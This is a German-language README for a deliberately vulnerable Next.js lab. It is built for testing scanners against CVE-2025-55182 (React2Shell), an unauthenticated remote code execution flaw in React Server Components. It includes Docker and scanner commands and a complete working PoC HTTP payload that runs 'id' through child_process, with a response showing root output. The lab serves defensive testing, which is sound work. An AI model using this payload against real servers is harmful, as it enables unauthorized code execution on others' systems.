
Absichtlich anfällige Next.js-Umgebung zum Testen der CVE-2025-55182 (React2Shell) RCE-Erkennung und -Ausnutzung mit bereitgestellten PoC-Payloads und Scanner-Integration.
Dieses Repository stellt eine minimal intentionell verwundbare Umgebung bereit, um Sicherheitsscanner gegen die kürzlich entdeckte kritische RCE-Schwachstelle (React2Shell) zu testen, die React Server Components und Next.js betrifft.
CVE-2025-55182: Eine vor der Authentifizierung ausnutzbare Remote-Code-Ausführung-Schwachstelle existiert in React Server Components Versionen 19.0.0, 19.1.0, 19.1.1 und 19.2.0, einschließlich der folgenden Pakete: react-server-dom-parcel, react-server-dom-turbopack und react-server-dom-webpack. Der anfällige Code deserialisiert unsicher Payloads aus HTTP-Anfragen an Server-Function-Endpunkte.
CVE-2025-66478: Verfolgt die Auswirkungen auf Next.js-Anwendungen, die den App Router verwenden.
[!Warnung] Diese Umgebung ist absichtlich verwundbar und darf niemals im öffentlichen Internet freigegeben oder in der Produktion verwendet werden.
Diese App ist ein sehr kleines Next.js-Projekt, das:
next: 16.0.6react: 19.2.0react-dom: 19.2.0[!TIP] Das Festlegen von
reactundreact-domist optional, da eine betroffenenext-Version standardmäßig aufgrund des App Routers anfällig ist.
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
Verwenden Sie den von AssetNote bereitgestellten Scanner:
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
Wird zurückgeben:
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000
brought to you by assetnote
[*] Geladene 1 Host(s) zum Scannen
[*] Verwende 10 Thread(s)
[*] Timeout: 10s
[*] Verwende RCE PoC-Prüfung
[!] SSL-Verifizierung deaktiviert
[VERWUNDBAR] http://127.0.0.1:3000 - Status: 303
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Wird zurückgeben:
[INF] Vorlagen für aktuellen Scan geladen: 1
[WRN] Lade 1 unsignierte Vorlage(n) für den Scan. Mit Vorsicht verwenden.
[INF] Ziele für aktuellen Scan geladen: 1
[CVE-2025-55182] [http] [kritisch] http://127.0.0.1:3000
PoC HTTP-Payload von hier.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Wird zurückgeben:
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
